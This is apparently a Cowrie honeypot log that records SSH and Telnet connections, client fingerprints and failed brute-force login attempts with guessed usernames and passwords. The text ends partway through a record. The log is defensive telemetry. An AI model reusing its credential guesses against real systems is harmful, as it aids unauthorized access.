{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:28.677398Z","src_ip":"101.36.111.155","session":"92c02e603e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:29.032274Z","src_ip":"101.36.111.155","session":"92c02e603e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":46056,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db7889b701e","protocol":"ssh","message":"New connection: 159.65.58.200:46056 (159.203.135.109:22) [session: 0db7889b701e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:39.996626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:40.291452Z","src_ip":"159.65.58.200","session":"0db7889b701e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:40.300382Z","src_ip":"159.65.58.200","session":"0db7889b701e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skrsi","password":"123456","message":"login attempt [skrsi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:41.707656Z","src_ip":"159.65.58.200","session":"0db7889b701e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:42.925866Z","src_ip":"159.65.58.200","session":"0db7889b701e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae5c89fc09c","protocol":"ssh","message":"New connection: 154.16.115.34:42902 (10.17.0.5:22) [session: eae5c89fc09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:20.059906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:20.063626Z","src_ip":"154.16.115.34","session":"eae5c89fc09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:20.088629Z","src_ip":"154.16.115.34","session":"eae5c89fc09c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uni","password":"uni789","message":"login attempt [uni/uni789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:20.165133Z","src_ip":"154.16.115.34","session":"eae5c89fc09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:21.192278Z","src_ip":"154.16.115.34","session":"eae5c89fc09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":47336,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b82f789f9c","protocol":"ssh","message":"New connection: 2.57.122.209:47336 (10.17.0.5:22) [session: d8b82f789f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:27.373923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:27.771852Z","src_ip":"2.57.122.209","session":"d8b82f789f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:27.775180Z","src_ip":"2.57.122.209","session":"d8b82f789f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"321","message":"login attempt [admin/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:29.534224Z","src_ip":"2.57.122.209","session":"d8b82f789f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:30.910334Z","src_ip":"2.57.122.209","session":"d8b82f789f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":45298,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ac00b217bb","protocol":"ssh","message":"New connection: 194.36.147.215:45298 (10.17.0.5:22) [session: e3ac00b217bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:32.928713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:32.932943Z","src_ip":"194.36.147.215","session":"e3ac00b217bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:33.025453Z","src_ip":"194.36.147.215","session":"e3ac00b217bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*()","message":"login attempt [root/admin@#$%^&*()] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:33.302656Z","src_ip":"194.36.147.215","session":"e3ac00b217bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:34.406638Z","src_ip":"194.36.147.215","session":"e3ac00b217bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44872,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea8d2321f70b","protocol":"ssh","message":"New connection: 91.92.40.4:44872 (10.17.0.5:22) [session: ea8d2321f70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:41.219157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:41.223195Z","src_ip":"91.92.40.4","session":"ea8d2321f70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:41.303562Z","src_ip":"91.92.40.4","session":"ea8d2321f70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123456","message":"login attempt [test/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:41.554986Z","src_ip":"91.92.40.4","session":"ea8d2321f70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:42.637579Z","src_ip":"91.92.40.4","session":"ea8d2321f70b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.134","src_port":44026,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97756e8be1a","protocol":"ssh","message":"New connection: 20.244.95.134:44026 (10.17.0.5:22) [session: d97756e8be1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:56.328884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:56.333005Z","src_ip":"20.244.95.134","session":"d97756e8be1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:56.529696Z","src_ip":"20.244.95.134","session":"d97756e8be1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melocoton","message":"login attempt [root/melocoton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:57.358005Z","src_ip":"20.244.95.134","session":"d97756e8be1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:09:58.559500Z","src_ip":"20.244.95.134","session":"d97756e8be1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"402078f559b5","protocol":"telnet","message":"New connection: 170.64.224.25:39724 (159.203.135.109:23) [session: 402078f559b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:10:56.539921Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":50218,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7eb365fbca","protocol":"ssh","message":"New connection: 2.57.122.209:50218 (10.17.0.5:22) [session: 3a7eb365fbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:23.042982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:23.498978Z","src_ip":"2.57.122.209","session":"3a7eb365fbca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:23.501648Z","src_ip":"2.57.122.209","session":"3a7eb365fbca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"654321","message":"login attempt [admin/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:25.394421Z","src_ip":"2.57.122.209","session":"3a7eb365fbca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:26.843581Z","src_ip":"2.57.122.209","session":"3a7eb365fbca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":37998,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80734ed5f3f","protocol":"ssh","message":"New connection: 159.65.58.200:37998 (159.203.135.109:22) [session: f80734ed5f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:32.295180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:32.502803Z","src_ip":"159.65.58.200","session":"f80734ed5f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 